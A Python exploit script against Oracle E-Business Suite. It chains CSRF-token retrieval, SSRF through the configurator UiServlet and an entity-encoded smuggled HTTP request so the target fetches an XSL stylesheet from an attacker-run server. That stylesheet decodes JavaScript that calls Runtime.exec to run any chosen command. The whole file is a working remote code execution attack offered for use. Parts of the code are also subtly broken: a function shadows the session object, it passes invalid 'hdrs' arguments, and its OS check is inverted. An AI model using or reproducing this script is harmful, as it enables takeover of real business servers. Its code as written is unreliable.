import base64
import logging
import sys
import urllib.parse
import requests
import urllib3
from aiohttp import web

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
logging.basicConfig(level=logging.DEBUG)
routes = web.RouteTableDef()
sess = requests.Session()
sess.verify = False

conflagorator = ""

@routes.get('/OA_HTML/help/../%252Fieshostedsurvey.xsl')
async def h1(request):
    global conflagorator
    return web.Response(text=conflagorator)

#https://docs.oracle.com/cd/E26401_01/doc.122/e49076/T349071T351261.htm
@routes.post('/OA_HTML/help/../%252FibeCRgpIndividualUser.jsp')
async def h2(request):
    global conflagorator
    return web.Response(text=conflagorator)

def sess(tgt):
    global internals, hdr
    r = sess.get(tgt + "/OA_HTML/%252Frunforms.jsp", hdrs=hdr, allow_redirects=False)
    if r.status_code == 302:
        loc = r.hdrs['Location']
        loc_url = urllib.parse.urlparse(loc)
        if loc_url.hostname != internals:
            print(f'+ {loc_url.hostname} reset')
        internals = loc_url.hostname
        sess.get(f'{tgt}{loc_url.path}?{loc_url.query}')
    h2 = hdr.copy()
    h2.update({"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"})
    r2 = sess.post(tgt + "/OA_HTML/JavaScriptServlet", hdrs=h2)
    tok = r2.text.split(":")[1]
    if tok:
        return tok
    else:
        sys.exit(1)

def begingen(pl):
    if pl.startswith("POST "):
        pl = pl[5:]
    elif pl.startswith("GET "):
        pl = pl[4:]
    elif pl.startswith("PATCH "):
        pl = pl[6:]
    pl = pl.replace("\n", "\r\n")
    # entities Loooooooool  
    return ''.join([f'&#{ord(c)};' for c in pl])

def ssrf(tgt, pl):
    xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url">http://{internals}:7201{pl}</param>
    <param name="ui_def_id">0</param>runforms
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize>'''
    print('+ ssrf attempt')
    sess.post(tgt + "/OA_HTML/configurator/UiServlet", hdrs=hdr,
              data={"redirectFromJsp": "1", "getUiType": xml})
    print('+ check receiver server')

def splitter(tgt, evil):
    sess(tgt)
    print('+ prepping brahhh ')
    keep = "\r\n\r\n\r\nPOST /"
    cookies = "; ".join([f"{c.name}={c.value}" for c in sess.cookies])
    rce = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: {evil}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: {cookies}

'''
    rce += keep
    pl = begingen(rce)
    ssrf(tgt, pl)

if __name__ == '__main__':
    print("hi")
    if len(sys.argv) < 2:   
        print("wtf")
        sys.exit(1)

    mode = sys.argv[1]
    hdr = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

    if mode == "server":
        if len(sys.argv) != 5:
            sys.exit(1)
        port = int(sys.argv[2])
        # censys/shod
        system = sys.argv[3].lower() 
        cmd = sys.argv[4]
        shell = ['sh', '-c']
        if system == 'windows':
            shell = ['cmd', '/c']
        else:
            print("?")
            sys.exit(1)
        js = f"""
    var stringc = java.lang.Class.forName('java.lang.String');
    var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
    java.lang.reflect.Array.set(cmds,0,'{shell[0]}');
    java.lang.reflect.Array.set(cmds,1,'{shell[1]}');
    java.lang.reflect.Array.set(cmds,2,'{cmd}');
    java.lang.Runtime.getRuntime().exec(cmds);
    1
        """
        b64jsp = base64.b64encode(js.encode()).decode()
        conflagorator = f'''<xsl:stylesheet version="1.0"
                    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
                    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
                    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
                    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
        <xsl:template match="/">ies
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{b64jsp}')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>'''
        app = web.Application()
        app.add_routes(routes)
        web.run_app(app, port=port)

    elif mode == "clap":
        if len(sys.argv) != 4:
            sys.exit(1)
        targ = sys.argv[2]
        lmao = sys.argv[3]
        if targ.endswith("/"):
            targ = targ[:-1]
        internals = urllib.parse.urlparse(targ).hostname
        print(f'+ {internals}')
        splitter(targ, lmao)
        print("ok we GOOD")
    else:
        sys.exit(1)